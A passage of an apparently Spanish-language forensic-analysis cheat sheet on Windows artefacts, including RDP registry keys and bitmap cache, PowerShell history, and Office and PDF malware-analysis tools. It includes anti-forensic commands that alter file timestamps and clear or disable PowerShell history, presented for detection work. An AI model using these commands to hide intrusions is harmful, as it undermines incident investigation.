1182 | %USERPROFILE%\Documents\MobaXterm\MobaXterm.ini
1183 | ```
1184 |
1185 | `PuTTY`
1186 | ```
1187 | HKCU\Software\SimonTatham\PuTTY\Sessions
1188 | ```
1189 |
1190 | `WinSCP`
1191 | ```
1192 | HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
1193 | ```
1194 |
1195 | ### 📜 Artefactos y trazabilidad en conexiones RDP
1196 |
1197 | Las conexiones RDP dejan rastros en el registro y los eventos de Windows que, analizados en conjunto, permiten reconstruir la trazabilidad completa: quién se conectó, a qué servidor, si el sistema aceptaba accesos entrantes y si realmente la conexión fue exitosa, logrando así la “foto completa” de una posible intrusión remota.
1198 |
1199 | **Registro de Windows**
1200 |
1201 | Usuarios que se han conectado recientemente:
1202 | ```
1203 | HKCU\SOFTWARE\Microsoft\Terminal Server Client\Default
1204 | ```
1205 |
1206 | Nombres de usuario utilizados en conexiones:
1207 | ```
1208 | HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers
1209 | ```
1210 |
1211 | Comprobar si un sistema acepta RDP entrantes:
1212 | ```
1213 | HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server
1214 | ```
1215 | `fDenyTSConnections`
1216 | - 0 = se permiten conexiones RDP
1217 | - 1 = se deniegan conexiones RDP
1218 |
1219 | **Registro de eventos**
1220 |
1221 | | Evento | Logon Type | Resultado | Descripción |
1222 | |:------:|:----------:|:---------:|-------------|
1223 | | 4624 | 10 | Éxito | Inicio de sesión remoto interactivo (conexiones RDP habituales) |
1224 | | 4624 | 12 | Éxito | Inicio de sesión remoto con RemoteFX |
1225 | | 4625 | 3 | Fallo | La sesión falla antes de que se complete la sesión (NLA habilitado) |
1226 | | 4625 | 10 | Fallo | La sesión remota se inicia primero y falla después (NLA deshabilitado o versiones antiguas) |
1227 | | 1149 | - | Éxito | Conexión RDP exitosa desde un host remoto |
1228 | | 21 | - | Éxito | Inicio de sesión correcto (antiguo, Terminal Services) |
1229 |
1230 | ### 📜 Artefactos Bitmaps y Prefetch en RDP
1231 |
1232 | Artefactos forenses asociados al uso de RDP con especial foco en la *caché de mapa de bits* y en evidencias de *prefetch* del cliente RDP. Al menos que se indique lo contrario en el momento de conexión, la caché no se borra automáticamente al cerrar sesión RDP.
1233 |
1234 | **`RDP Bitmap Cache`**
1235 | ```
1236 | C:\Users\\AppData\Local\Microsoft\Terminal Server Client\Cache
1237 | Cache000.bin
1238 | Cache001.bin
1239 | ...
1240 | ```
1241 | Estos ficheros contienen bitmaps en bruto almacenados por el cliente RDP para optimizar sesiones posteriores. Contienen fragmentos gráficos almacenados localmente durante las sesiones RDP, donde se pueden encontrar:
1242 |
1243 | - Fragmentos de pantallas RDP.
1244 | - Iconos y fondos.
1245 | - Ventanas de aplicaciones.
1246 | - Texto visible (usuarios, aplicaciones, rutas, interfaces).
1247 |
1248 | Estos artefactos pueden permitir la reconstrucción parcial de la actividad visual realizada durante sesiones RDP anteriores.
1249 |
1250 | **Herramientas de análisis para bitmaps de RDP (Cache000.bin, etc)**
1251 | - ***RdpCacheStitcher***: https://github.com/BSI-Bund/RdpCacheStitcher
1252 | - ***bmc-tools***: https://github.com/ANSSI-FR/bmc-tools
1253 | - ***X-Ways Forensics***: https://www.x-ways.net
1254 | - ***Autopsy***: https://www.autopsy.com
1255 | - ***EnCase Forensic***: https://www.opentext.com/produits/encase-forensic
1256 |
1257 | **`Bitmap Carving manual`**
1258 |
1259 | Buscar cabeceras BMP:
1260 | ```
1261 | 42 4D
1262 | ```
1263 |
1264 | Ejemplo para buscarlo con PowerShell:
1265 | ```ps
1266 | Get-ChildItem Cache*.bin | % {
1267 | Select-String -Path $_ -Pattern "BM" -AllMatches
1268 | }
1269 | ```
1270 | **`Archivos Prefetch (MSTSC.EXE-*.pf)`**
1271 |
1272 | Los archivos Prefetch asociados a "mstsc.exe" pueden aportar información relevante como:
1273 |
1274 | - Frecuencia de uso del cliente RDP.
1275 | - Última ejecución.
1276 | - Archivos y recursos accedidos.
1277 |
1278 | Este artefacto es útil para **corroborar el uso del cliente RDP** y establecer líneas temporales de actividad.
1279 |
1280 | ```
1281 | C:\Windows\Prefetch\MSTSC.EXE-*.pf
1282 | ```
1283 |
1284 | **`Prevención y mitigación (desactivar 'Persistent bitmap caching' en RDP)`**
1285 |
1286 | Para reducir la exposición forense y el riesgo de filtración, se recomiendan las siguientes medidas:
1287 |
1288 | - Desactivar la caché de mapas de bits en RDP:
1289 | - **Opción 1**, Archivo ".rdp":
1290 | ```
1291 | En el archivo de conexión RDP, añadir explícitamente la siguiente línea: *bitmapcachepersistenable:i:0*
1292 | ```
1293 | - **Opción 2**, Interfaz gráfica del cliente RDP (mstsc.exe):
1294 | ```
1295 | Ejecutar "mstsc.exe" > Mostrar opciones > Rendimiento > Desmarcar la opción: Persistent bitmap caching (Almacenamiento en caché persistente de mapas de bits)
1296 | ```
1297 |
1298 | - **Opción 3**, Directiva de Grupo GPO:
1299 | ```
1300 | Plantillas Administrativas > Componentes de Windows > Servicios de Escritorio Remoto > Host de sesión de Escritorio remoto > Entorno de sesión remota > "No usar caché de mapa de bits"
1301 | ```
1302 | - **Opción manual**: Limpiar regularmente archivos temporales y la caché del sistema después de finalizar cada conexión RDP.
1303 |
1304 | ### 📜 Caché almacenada de conexiones establecidas a otros hosts vía RDP
1305 |
1306 | Si el equipo afectado a sido comprometido y a través de este se hizo un uso como "equipo puente" en movimientos laterales, etc. Puede resultar útil comprobar la caché almacenada de conexiones establecidas vía RDP hacia otros hosts ya sea de la misma red o de un RDP externo con el objetivo por ejemplo de exfiltrar información hacia un stage controlado por el actor malicioso.
1307 |
1308 | En la siguiente clave de registro podemos encontrar las conexiones remotas RDP (Remote Desktop Protocol) realizadas desde la máquina afectada. Se creará un nueva clave por cada conexión RDP.
1309 | ```
1310 | HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
1311 | HKEY_USERS\\SOFTWARE\Microsoft\Terminal Server Client\Servers
1312 | ```
1313 |
1314 | Situado en la misma ruta, se puede ver la clave "Default". Esta clave nos indica el orden de prioridad que se mostrará la lista de conexiones al desplegar la barra de la ventana de "Conexión a Escritorio remoto" que se abre al ejecutar el binario de mstsc.exe.
1315 | ```
1316 | HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
1317 | ```
1318 |
1319 | ### 📜 Conocer la URL de descarga de un archivo (ADS Zone.Identifier)
1320 |
1321 | Saber si un archivo malicioso se descargó de Internet y desde que URL o se creó en el sistema local.
1322 |
1323 | **ADS (Alternate Data Stream)** permite almacenar archivos dentro de archivos. Es una característica de NTFS, fue diseñada para brindar compatibilidad con el sistema de archivos jerárquico de MacOS (HFS). HFS usaba una bifurcación de recursos y una bifurcación de datos (2 flujos) para almacenar los datos de un archivo.
1324 |
1325 | PowerShell
1326 | ```ps
1327 | Get-Content -Path .\ -Stream Zone.Identifier -Encoding oem
1328 | ```
1329 |
1330 | CMD
1331 | ```cmd
1332 | notepad :Zone.Identifier
1333 | ```
1334 |
1335 | ### 📜 Modificar y detectar Timestamps modificados en ficheros analizando sus metadatos (técnica anti-forense)
1336 |
1337 | Es posible que un actor malicioso o un insider intente modificar las marcas de tiempo de un fichero para modificar su fecha y hora de creación, modificación y acceso con la finalidad de realizar "técnicas anti-forense" para intentar confundir, alterar y dilatar una posible investigación forense.
1338 |
1339 | Aunque en sistemas Windows o Linux es posible modificar los timestamps ya sea de forma nativa como usando software de terceros, es posible analizar y detectar estas alteraciones cuando se realiza un proceso de análisis forense.
1340 |
1341 | `Windows - Obtener y modificar Timestamps`
1342 |
1343 | Obtener los timestamps de un fichero con PowerShell.
1344 | ```ps
1345 | Get-ChildItem file.txt | Format-List -Property *
1346 | Get-Item file.txt | Format-List -Property FullName, CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
1347 | ```
1348 |
1349 | **Modificar los timestamps** de creación (CreationTime), última modificación (LastWriteTime) y última vez que se leyó (LastAccessTime) un fichero con PowerShell.
1350 | ```ps
1351 | (Get-ChildItem file.txt).LastWriteTime=$(Get-Date "16/4/2019 12:34 am")
1352 | (Get-ChildItem file.txt).CreationTime=$(Get-Date "16/4/2019 12:34 am")
1353 | (Get-ChildItem file.txt).LastAccessTime=$(Get-Date "16/4/2019 12:34 am")
1354 | ```
1355 |
1356 | Modificar timestamps UTC.
1357 | ```ps
1358 | (Get-ChildItem file.txt).LastWriteTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1359 | (Get-ChildItem file.txt).CreationTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1360 | (Get-ChildItem file.txt).LastAccessTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1361 | ```
1362 |
1363 | Modificar timestamps de ficheros con sofware de terceros.
1364 |
1365 | - BulkFileChanger: https://www.nirsoft.net/utils/bulk_file_changer.html
1366 | - FileDate Changer: https://www.nirsoft.net/utils/filedatech.html
1367 | - NewFileTime: https://www.softwareok.com/?seite=Microsoft/NewFileTime
1368 | - Change Timestamp: https://www.majorgeeks.com/files/details/change_timestamp.html
1369 | - Attribute Changer: https://www.petges.lu/download/
1370 | - Bulk Rename Utility: https://www.bulkrenameutility.co.uk/Download.php
1371 | - Advanced Renamer: https://www.advancedrenamer.com/download
1372 |
1373 | `Linux - Obtener y modificar Timestamps`
1374 |
1375 | El comando ***stat*** muestra información detallada sobre archivos y directorios, como su tamaño, tipo, permisos y fechas de acceso, modificación y cambio.
1376 | ```bash
1377 | stat file.txt
1378 | ```
1379 |
1380 | **Modificar los timestamp** de acceso, modificación y cambio de un archivo.
1381 | - Acceso: última vez que se leyó el archivo.
1382 | - Modificar: última vez que se modificó el archivo (se ha modificado el contenido).
1383 | - Cambiar: última vez que se cambiaron los metadatos del archivo (por ejemplo, los permisos)
1384 |
1385 | ```bash
1386 | touch -a -m -t 201912180130.09 file.txt
1387 | # Formato: YYMMDDhhmm.SS
1388 | # -a = accessed
1389 | # -m = modified
1390 | # -t = timestamp
1391 | ```
1392 |
1393 | **`Detectar Timestamps modificados (ExifTool y Autopsy)`**
1394 |
1395 | Cuando se modifican los timestamps de un fichero de forma manual no se modifican su HASH. Por lo que la detección por hash file no sería un indicativo claro para detectar esta "anti-forense".
1396 |
1397 | ```bash
1398 | touch -a -m -t 201712180130.09 file.txt
1399 | sha1sum file.txt
1400 | 63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
1401 | touch -a -m -t 201812180130.09 file.txt
1402 | sha1sum file.txt
1403 | 63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
1404 | ```
1405 |
1406 | En Linux con el comando ***stat*** podemos obtener información sobre los timestamp, sin embargo no nos muestra los timestamp de metadatos del propio fichero.
1407 | ```bash
1408 | stat file.txt
1409 | Access: 2019-12-18 01:30:09.000000000 +0100
1410 | Modify: 2019-12-18 01:30:09.000000000 +0100
1411 | Change: 2024-04-29 23:05:51.644885838 +0200
1412 | Birth: 2024-04-29 22:59:00.618199663 +0200
1413 | ```
1414 | Para poder analizar y detectar posibles modificaciones de timestamp es posible hacerlo usando ***exiftool*** donde se muestran los metadatos del propio fichero obteniendo los timestamp originales en los atributos *"Create Date, Modify Date y Metadata Date"*.
1415 |
1416 | - ExifTool: https://exiftool.org
1417 |
1418 | ```bash
1419 | exiftool file.txt
1420 | File Modification Date/Time : 2019:12:18 01:30:09+01:00
1421 | File Access Date/Time : 2019:12:18 01:30:09+01:00
1422 | File Inode Change Date/Time : 2024:04:29 23:05:51+02:00
1423 | Create Date : 2024:04:17 11:54:20+02:00
1424 | Modify Date : 2024:04:28 14:03:17+02:00
1425 | Metadata Date : 2024:04:28 14:03:17+02:00
1426 | ```
1427 |
1428 | Detectar posibles modificaciones de timestamp usando **Autopsy**.
1429 |
1430 | - Autopsy: https://www.autopsy.com/download
1431 |
1432 | Es posible obtener los metadatos del propio archivo y comprobar los timestamps originales.
1433 |
1434 | 1. Crear un nuevo proyecto.
1435 | 2. Add Data Source.
1436 | 3. Logical Files.
1437 | 4. Añadir los ficheros manualmente.
1438 | 5. Marcar las tres opciones que incluyen los "Timestamps" (Modified Time, Creation Time, Access Time).
1439 | 6. Pestaña "Hex" podemos analizarlo manualmente y encontrar los timestamps.
1440 | 7. También en las pestañas: "File Metadata" y "Analysis Results".
1441 | 8. Si se trata de un fichero ofimático o pdf se añadirá un nuevo desplegadable "Data Artifacts > Metadata" donde también podemos visualizar los timestamps originales.
1442 |
1443 | ### 📜 Windows Search Index (archivos Windows.edb, .crwl, .blf, .jrs)
1444 |
1445 | Windows Search Index es el sistema de búsqueda de Windows. Mantiene un índice interno en el archivo Windows.edb, que almacena información sobre archivos y carpetas del sistema: nombres, rutas, extensiones, fechas, e incluso contenido parcial si el tipo de archivo es indexable (como .txt, .docx, .pdf, etc.).
1446 |
1447 | Este archivo funciona como una base de datos en formato [ESE (Extensible Storage Engine)](https://learn.microsoft.com/es-es/windows/win32/extensible-storage-engine/extensible-storage-engine), también conocido como Jet Blue, un motor de base de datos embebido utilizado por Windows para estructurar y acceder eficientemente a grandes volúmenes de datos indexados.
1448 |
1449 | Este índice contiene artefactos forenses, pudiendo obtener evidencias de archivos eliminados o modificados incluso cuando ya no existen físicamente en el sistema. Aunque también existen técnicas anti-forenses orientadas a manipular, desactivar o vaciar este índice.
1450 |
1451 | **Archivos relacionados y rutas clave:**
1452 |
1453 | - **Windows.edb**: Base de datos ESE principal del índice de búsqueda.
1454 | - Ruta: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Projects\SystemIndex\`
1455 | - Windows.edb puede contener: Rutas de archivos borrados, metadatos (creación, modificación, acceso), texto parcial o propiedades del archivo indexado.
1456 |
1457 | - **.crwl**: Logs de rastreo de archivos indexados (crawling logs).
1458 | - Ruta: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\`
1459 | - .crwl logs que muestran: Qué archivos fueron indexados y cuándo, errores, eventos de crawling, cambios recientes.
1460 |
1461 | - **.blf, .jrs, .log**: Archivos de soporte del motor ESE (logs de transacción).
1462 | - Ruta: `C:\ProgramData\Microsoft\Search\Data\Applications\Windows\`
1463 |
1464 | **Consideraciones clave**
1465 |
1466 | - **Windows.edb** suele estar **bloqueado** por el sistema; requiere extracción offline o con herramientas especializadas para el análisis en frío.
1467 | - El índice puede persistir durante mucho tiempo si no es reconstruido manualmente.
1468 | - Cada extensión tiene asociado un **PersistentHandler** que determina si el contenido es indexado.
1469 | - PersistentHandler: GUID que define cómo el sistema accede al contenido de un archivo, permite la indexación, lectura estructurada y extracción de metadatos.
1470 |
1471 | **Herramientas para analizar el fichero Windows.edb y .crwl**
1472 |
1473 | - [EseDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html): Visualiza y exporta el contenido de Windows.edb.
1474 | - [FTK Imager](https://accessdata.com/product-download/ftk-imager-version-4-5): Clonado y acceso forense a contenido de archivos bloqueados.
1475 | - [EseDatabaseView – NirSoft](https://www.nirsoft.net/utils/ese_database_view.html): Lee y muestra los datos almacenados en la base de datos del motor de almacenamiento (ESE).
1476 |
1477 | ### 📜 PSReadLine: Historial de comandos ejecutados en una consola PowerShell
1478 |
1479 | El historial de comandos en PowerShell o PowerShell Core no está integrado en el marco de administración de Windows, sino que se basa en el módulo **PSReadLine**. El módulo PSReadLine en Windows se encuentra en la carpeta `C:\Program Files\WindowsPowerShell\Modules\PSReadline` y se importa automáticamente cuando inicia la consola PowerShell.
1480 |
1481 | Esto puede ser útil en una investigación forense cuando un posible actor malicioso actuó sobre la cuenta del usuario o hizo al usuario ejecutar ciertas acciones bajo PowerShell.
1482 |
1483 | Por defecto PSReadline almacena un historial de 4096 comandos en un archivo de texto sin formato en el perfil de cada usuario **ConsoleHost_history.txt** ubicado en el siguiente path.
1484 | ```
1485 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
1486 | ```
1487 |
1488 | En el caso de que se usara una consola bajo VSC Visual Studio Code, encontraremos en el mismo path el fichero **Visual Studio Code Host_history.txt**.
1489 | ```
1490 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
1491 | ```
1492 |
1493 | Si tenemos acceso al propio contexto del usuario en su equipo podemos usar también la búsqueda inversa de forma repetida `CTRL+R` para poder ver el historial. `CTR+S` sería para una búsqueda directa.
1494 |
1495 | Comprobar si el módulo está instalado.
1496 | ```ps
1497 | Get-Module | Where-Object {$_.name -like "*PSReadline*"}
1498 | ```
1499 |
1500 | Ver el historial de comandos directamente en un output de sesión PowerShell.
1501 | ```ps
1502 | Get-Content (Get-PSReadlineOption).HistorySavePath
1503 | ```
1504 |
1505 | Mostrar más opciones de configuración del módulo de PSReadline.
1506 | ```ps
1507 | Get-PSReadlineOption | Select-Object HistoryNoDuplicates, MaximumHistoryCount, HistorySearchCursorMovesToEnd, HistorySearchCaseSensitive, HistorySavePath, HistorySaveStyle
1508 | ```
1509 |
1510 | Mostrar directamente el path donde está ubicado el fichero *ConsoleHost_history.txt*.
1511 | ```ps
1512 | (Get-PSReadlineOption).HistorySavePath
1513 | ```
1514 |
1515 | Aumentar la cantidad de comandos de PowerShell almacenados en el registro.
1516 | ```ps
1517 | Set-PSReadlineOption -MaximumHistoryCount 10000
1518 | ```
1519 |
1520 | En el caso de haber establecido algún tipo de secreto, password o token. Es posible eliminar solo el comando anterior del historial.
1521 | ```ps
1522 | Clear-History -Count 1 -Newest
1523 | ```
1524 |
1525 | Eliminar todos los comandos del historial que hagan match con un patrón específico.
1526 | ```ps
1527 | Clear-History -CommandLine *set-ad*
1528 | ```
1529 |
1530 | Para eliminar completamente el historial de comandos de PowerShell, se debe eliminar el archivo ConsoleHost_history.txt en el que escribe el módulo PSReadline o directamente ejecutar lo siguiente en consola.
1531 | ```ps
1532 | Remove-Item (Get-PSReadlineOption).HistorySavePath
1533 | ```
1534 |
1535 | Deshabilitar completamente el almacenamiento del historial de comandos de PowerShell.
1536 | ```ps
1537 | Set-PSReadlineOption -HistorySaveStyle SaveNothing
1538 | ```
1539 |
1540 | ### 📜 Artefactos forense - MS Word
1541 |
1542 | `Eventos de alertas MS Office`
1543 |
1544 | ```
1545 | Event Viewer > Applications and Services Logs > Microsoft Office Alerts
1546 | ```
1547 |
1548 | `Conocer las URLs visitadas desde Word`
1549 |
1550 | ¿Cómo saber si la víctima hizo clic en una URL maliciosa de un documento de MS Word?
1551 |
1552 | El valor de **"UseRWHlinkNavigation"** contiene la última URL a la que se accedió desde MS Word.
1553 | ```
1554 | HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet
1555 | ```
1556 |
1557 | La siguiente clave contiene subclaves con los destinos remotos que MS Word estaba tratando de alcanzar.
1558 | ```
1559 | HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet\Server Cache
1560 | ```
1561 |
1562 | `Ficheros abiertos recientemente en Word`
1563 |
1564 | Revisar el siguiente directorio y el contenido del fichero **"inditex.dat"**.
1565 | ```
1566 | %AppData%\Microsoft\Office\Recent
1567 | ```
1568 |
1569 | `Ficheros de inicio en Word`
1570 |
1571 | Cuando un usuario inicia MS Word los archivos de esta ubicación se cargan automáticamente. Estos archivos estarán en formato .dot, .dotx o .dotm.
1572 | ```
1573 | %AppData%\Microsoft\Word\STARTUP
1574 | ```
1575 |
1576 | `Buscar archivos recientes con macros habilitadas`
1577 |
1578 | Contiene una lista de nombres de archivo. Los valores con "FF FF FF 7F" al final, indican que tienen la macro habilitada.
1579 | ```
1580 | HKCU\SOFTWARE\Microsoft\Office\\Word\Security\TrustedDocuments\TrustRecords
1581 | ```
1582 |
1583 | `Macros de seguridad en Word`
1584 |
1585 | **"VBAWarnings"** indica el estado de las macros de seguridad.
1586 |
1587 | - Valor 1: todas las macros están habilitadas
1588 | - Valor 2: todas las macros están desactivadas con notificación
1589 | - Valor 3: todas las macros están desactivadas excepto las firmadas digitalmente.
1590 | - Valor 4: todas las macros están desactivadas sin notificación.
1591 |
1592 | ```
1593 | HKCU\Software\Policies\Microsoft\Office\\Word\Security\VBAWarnings
1594 | ```
1595 |
1596 | `Caché de Word`
1597 |
1598 | Esta ubicación se utiliza para almacenar los archivos *scratch* de MS Word. Si un usuario abre un archivo .docx con macro, Word puede crear un archivo *"WRCxxxx.tmp"*. Este archivo puede contener varios artefactos.
1599 | ```
1600 | %LocalAppdata%\Microsoft\Windows\INetCache\Content.Word
1601 | ```
1602 |
1603 | `Archivos adjuntos Word abiertos desde Outlook`
1604 |
1605 | Los archivos adjuntos tipo Word abiertos en directamente a través de en Outlook (en preview) se almacenan en esta ubicación.
1606 | ```
1607 | %LocalAppdata%\Microsoft\Windows\INetCache\Content.Outlook\\
1608 | ```
1609 |
1610 | ### 📜 Análisis de malware en ficheros XLSX (MS Excel)
1611 |
1612 | Con 7Zip podemos descomprimir el fichero .xlsx, dentro de la carpeta "XL" abrir editando el archivo llamado "workbook.xml", buscar el término **"absPath"**. Contiene la última ubicación de guardado del archivo donde veríamos al autor (C:\\<\user>\\..\\file.xlsx) que puede ser el usuario del equipo víctima.
1613 |
1614 | Como técnica anti forense esta metadata se puede eliminar desde Excel "inspeccionando el documento" y borrando las "propiedades de documento e información personal".
1615 |
1616 | ### 📜 Análisis de malware en ficheros MS Office (oletools)
1617 |
1618 | [**oletools**](https://github.com/decalage2/oletools) es un kit de herramientas python para analizar archivos Microsoft OLE2 (también llamados Structured Storage, Compound File Binary Format o Compound Document File Format), como documentos ofimáticos de Microsoft Office, mensajes de Outlook, Word, Power Point, Excel, etc. Principalmente para análisis de malware, forense y depuración. Se basa en el analizador sintáctico [olefile](https://www.decalage.info/olefile).
1619 |
1620 | > Con el argumento *-s * podemos ubicarnos sobre alguno de estos streams y con el argumento *-v* podemos ver el código de la macro. Podemos encontrar algunas cosas sospechosas en un archivo. Por ejemplo, las palabras claves *Create* o *CreateObject*, entre otras.
1621 |
1622 | - oletools: https://github.com/decalage2/oletools
1623 | - oletools Wiki: https://github.com/decalage2/oletools/wiki
1624 | - Más info oletools: http://www.decalage.info/python/oletools
1625 |
1626 | | Herramienta | Descripción |
1627 | |-------------|-------------|
1628 | | [**oledump**](https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py) | Analiza archivos OLE (Object Linking and Embedding, Compound File Binary Format). Estos archivos contienen flujos de datos. |
1629 | | [**olevba**](https://github.com/decalage2/oletools/wiki/olevba) | Dispone de la capacidad de extraer y analizar las macros VBA de los ficheros de MS Office (OLE y OpenXML). |
1630 | | [**pcodedmp**](https://github.com/bontchev/pcodedmp) | Desensamblador de p-code de VBA. |
1631 | | [**oleid**](https://github.com/decalage2/oletools/wiki/oleid) | Permite analizar ficheros OLE para detectar características que normalmente se encuentran en ficheros maliciosos. |
1632 | | [**MacroRaptor**](https://github.com/decalage2/oletools/wiki/olevba) | Sirve para detectar las Macros VBA maliciosas. |
1633 | | [**msodde**](https://github.com/decalage2/oletools/wiki/msodde) | proporciona la capacidad de detectar enlaces DDE/DDEAUTO de los ficheros de MS Office, RTF y CSV. |
1634 | | [**pyxswf**](https://github.com/decalage2/oletools/wiki/pyxswf) | Detecta, analiza y extrae los objetos Flash (SWF) que pueden estar embebidos en ficheros con formato de MS Office y RTF. |
1635 | | [**oleobj**](https://github.com/decalage2/oletools/wiki/oleobj) | Extrae los ficheros embebidos de los ficheros OLE. |
1636 | | [**rtfobj**](https://github.com/decalage2/oletools/wiki/rtfobj) | Lo mismo que el anterior pero con ficheros RTF. |
1637 | | [**olebrowse**](https://github.com/decalage2/oletools/wiki/olebrowse) | Proporciona una interfaz gráfica simple para navegar por los ficheros OLE. Este permite visualizar y extraer partes concretas del fichero. |
1638 | | [**olemeta**](https://github.com/decalage2/oletools/wiki/olemeta) | Consigue los metadatos de los ficheros OLE. |
1639 | | [**oletimes**](https://github.com/decalage2/oletools/wiki/oletimes) | Extrae las marcas de tiempo del fichero como la fecha de creación, la fecha de modificación, etc. |
1640 | | [**oledir**](https://github.com/decalage2/oletools/wiki/oledir) | Muestra todas las entradas de directorio de un archivo OLE. |
1641 | | [**olemap**](https://github.com/decalage2/oletools/wiki/olemap) | Pinta una tabla con todos los sectores, y sus atributos, del fichero OLE. |
1642 |
1643 | ### 📜 Herramientas de análisis en ficheros MS Office y otros (detectar malware o phising)
1644 |
1645 | | Herramienta | Descripción |
1646 | |-------------|-------------|
1647 | | [**Suite de DidierStevensSuite**](https://github.com/DidierStevens/DidierStevensSuite) | Suite de [Didier Stevens](https://www.sans.org/profiles/didier-stevens). |
1648 | | [**Exiftool**](https://exiftool.org/) | Analizar los metadatos de diversos formatos de archivos. |
1649 | | [**Munpack**](https://linux.die.net/man/1/munpack) | Descomprime mensajes en formato MIME o split-uuencode. |
1650 | | [**msoffice-crypt**](https://github.com/herumi/msoffice) | Cifra/descifra ficheros MS Office. |
1651 | | [**OfficeMalScanner**](http://www.reconstructer.org/code.html) | herramienta forense de Ms Office para escanear en busca de rastros maliciosos, como shellcode heurístico, archivos PE o flujos OLE incrustados. |
1652 | | [**Hachoir-subfile**](https://hachoir.readthedocs.io/en/latest/subfile.html) | Herramienta basada en hachoir-parser para buscar subarchivos en cualquier flujo binario. |
1653 | | [**xxxswfpy**](https://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html) | Escanear, comprimir, descomprimir y analizar archivos Flash SWF. |
1654 |
1655 | ### 📜 Herramientas de análisis PDF (detectar malware o phising)
1656 |
1657 | | Herramienta | Descripción |
1658 | |-------------|-------------|
1659 | | [**PDF Stream Dumper**](http://sandsprite.com/blogs/index.php?uid=7&pid=57) | GUI de Windows para el análisis de PDF muy popular entre la comunidad de especialistas en ciberseguridad. |
1660 | | [**PDF-parser**](https://didierstevens.com/files/software/pdf-parser_V0_6_8.zip) | Extraer elementos individuales de un archivo PDF, como encabezados, enlaces y más, para su análisis detallado. |
1661 | | [**PDFID**](https://didierstevens.com/files/software/pdfid_v0_2_2.zip) | Enumera todos los objetos del archivo PDF analizado. |
1662 | | [**PEEPDF**](https://github.com/jesparza/peepdf) | Es un marco de análisis bastante poderoso que incluye búsqueda de shellcode, Javascript y más. |
1663 | | [**PDFxray**](https://github.com/9b/pdfxray_public) | Tiene la mayoría de las utilidades necesarias en forma de scripts de Python separados, pero requiere muchas dependencias. |
1664 |
1665 | `¿Qué debemos buscar al analizar un documento PDF?`
1666 |
1667 | Palabras clave: PDF Keywords
1668 |
1669 | - **/OpenAction y /AA**: ya que pueden ejecutar scripts automáticamente.
1670 | - **/JavaScript y /JS**: respectivamente ejecutan js.
1671 | - **/GoTo**: ya que esta acción cambia la página visible del archivo, puede abrir y redirigir automáticamente a otros archivos PDF.
1672 | - **/Launch**: es capaz de iniciar un programa o abrir un documento.
1673 | - **/SubmitForm y /GoToR**: pueden enviar datos por URL.
1674 | - **/RichMedia**: se puede utilizar para incrustar flash.
1675 | - **/ObjStm**: puede ocultar objetos.
1676 | - **/URI**: accede a un recurso por su URL, quizás para phishing.
1677 | - **/XObject**: puede incrustar una imagen para realizar phishing.
1678 | - Cuidado con la ofuscación con códigos hexadecimales como */JavaScript* vs. */J#61vaScript*. https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways.
1679 |
1680 | `Comandos útiles análisis ficheros PDF`
1681 |
1682 | Mostrar palabras clave riesgosas presentes en el archivo archivo.pdf.
1683 | ```
1684 | pdfid.py file.pdf -n
1685 | ```
1686 |
1687 | Mostrar estadísticas sobre palabras clave. Agregue "-O" para incluir secuencias de objetos.
1688 | ```
1689 | pdf-parser.py file.pdf -a:
1690 | ```
1691 |
1692 | Mostrar el contenido del ID del objeto. Agregue "-d" para volcar la secuencia del objeto..
1693 | ```
1694 | pdf-parser.py file.pdf -o id
1695 | ```
1696 |
1697 | Mostrar objetos que hacen referencia al ID del objeto.
1698 | ```
1699 | pdf-parser.py file.pdf -r id
1700 | ```
1701 |
1702 | Descifrar infile.pdf usando la contraseña para crear outfile.pdf.
1703 | ```
1704 | qpdf --password=pass --decrypt infile.pdf outfile.pdf
1705 | ```
1706 |
1707 | ### 📜 Identificar Shellcodes en ficheros y otros comandos de análisis
1708 |
1709 | | Herramienta | Descripción | Ejemplo uso |
1710 | |-------------|-------------|-------------|
1711 | | [xorsearch](https://blog.didierstevens.com/2014/09/29/update-xorsearch-with-shellcode-detector/) | Localiza los patrones de shellcode dentro del archivo binario file.bin. | xorsearch -W -d 3 file.bin |
1712 | | [scdbgc](http://sandsprite.com/blogs/index.php?uid=7&pid=152) | Emula la ejecución de shellcode en file.bin. Con el parámetro "/off" se especifica el desplazamiento. | scdbgc /f file.bin |
1713 | | [runsc32](https://github.com/edygert/runsc) | Ejecuta shellcode en file.bin para observar el comportamiento en un laboratorio aislado. | runsc32 -f file.bin-n |
1714 | | [base64dump.py](https://blog.didierstevens.com/2017/07/02/update-base64dump-py-version-0-0-7/) | Enumera las cadenas codificadas en Base64 presentes en el archivo file.txt. | base64dump.py file.txt |
1715 | | [numbers-to-string.py](https://videos.didierstevens.com/2016/10/11/maldoc-numbers-to-string-py/) | Convierte números que representan caracteres en un archivo en una cadena. | numbers-to-string.py file |
1716 |
1717 | ### 📜 Detectar URL maliciosas en el documento
1718 |
1719 | Para buscar la existencia de estas URL, abrimos el documento con la herramienta 7zip y vamos a ir extrayendo los archivos que contiene. Partimos por extraer archivos como "**document.xml.res**" o "**webSettings.xml.res**" buscando tags o atributos como: **sourceFileName**, **attachedTemplate**, **Target**, **TargetMode**.
1720 |
1721 | También buscamos alguna URL que sea distinta a las oficiales de Microsoft. Ejemplo de URL oficiales pueden ser http://schemas.openxmlformats.org/, http://schemas.microsoft.com/
1722 |
